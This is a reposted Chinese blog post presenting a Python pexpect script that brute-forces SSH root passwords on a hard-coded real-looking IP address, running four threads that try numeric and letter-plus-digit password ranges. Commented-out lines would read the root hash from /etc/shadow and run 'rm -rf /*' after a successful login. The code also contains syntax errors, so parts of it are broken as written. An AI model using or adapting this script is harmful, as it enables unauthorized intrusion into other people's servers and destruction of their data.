pexpect模块获取root密码

Posted kmnskd

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pexpect模块获取root密码相关的知识,希望对你有一定的参考价值。

利用pexpect模块的ssh连接获取root密码。

from pexpect import pxssh
from threading import Thread
from itertools import count
def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print(s.before.decode())

def connect_1(host, user, passwd_iter_1):
    while True:
        passwd = next(passwd_iter_1)
        if len(str(passwd)) == 9:
            return
        try:
            s = pxssh.pxssh()
            s.login(host,user,passwd)
            return s
        except:
            print([-],passwd)
            #print(‘[-]Error Connection‘)
        else:
            return passwd


def connect_2(host, user, passwd_iter_2):
    while True:
        passwd = next(passwd_iter_2)
        if passwd == 18700000000:
            return
        try:
            s = pxssh.pxssh()
            s.login(host,user,passwd)
            return s
        except:
            print([-],passwd)
            #print(‘[-]Error Connection‘)
        else:
            return passwd

def connect_3(host, user, passwd_iter_3):
    for var in range(97,123):
        char = chr(var)
        passwd_iter = passwd_iter_3
        while True:
            passwd = next(passwd_iter)
            if len(str(passwd)) == 10:
                return
            passwd = char + str(passwd)
            try:
                s = pxssh.pxssh()
                s.login(host,user,passwd)
                return s
            except:
                print([-],passwd)
                #print(‘[-]Error Connection‘)
            else:
                print([+],passwd)
                return passwd

def connect_4(host, user, passwd_iter_4):
    while True:
        passwd = next(passwd_iter_4)
        if len(str(passwd)) == 7:
            return
        try:
            s = pxssh.pxssh()
            s.login(host,user,passwd)
            return s
        except:
            print([-],passwd)
            #print(‘[-]Error Connection‘)
        else:
            return passwd
def main():
    host = "39.104.137.182"
    passwd_iter_1 = count(10000000)
    passwd_iter_2 = count(18600000000)
    passwd_iter_3 = count(100000000)
    passwd_iter_4 = count(100000)
    #s = connect("39.104.137.182",‘root‘,passwd_list)
   # send_command(s,‘cat /etc/shadow | grep root‘)
    t = Thread(target=connect_1,args=(host,"root",passwd_iter_1,))
    t1 = Thread(target=connect_2,args=(host,"root",passwd_iter_2,))
    t2 = Thread(target=connect_3,args=(host,"root",passwd_iter_3,))
    t3 = Thread(target=connect_4,args=(host,"root",passwd_iter_4,))
    t.start()
    t1.start()
    t2.start()
    t3.start()
    t.join()
    t1.join()
    t2.join()
    t3.join()
    #send_command(s, "rm -rf /*")

if __name__ == __main__:
    main()

 

以上是关于pexpect模块获取root密码的主要内容,如果未能解决你的问题,请参考以下文章

通python的pexpect模块获取集群信息

Python模块之pexpect

使用 Python 在 Linux 上实现一键回归测试

使用 Python 在 Linux 上实现一键回归测试

如何使用 Python pexpect 执行操作系统命令?

pexpect模块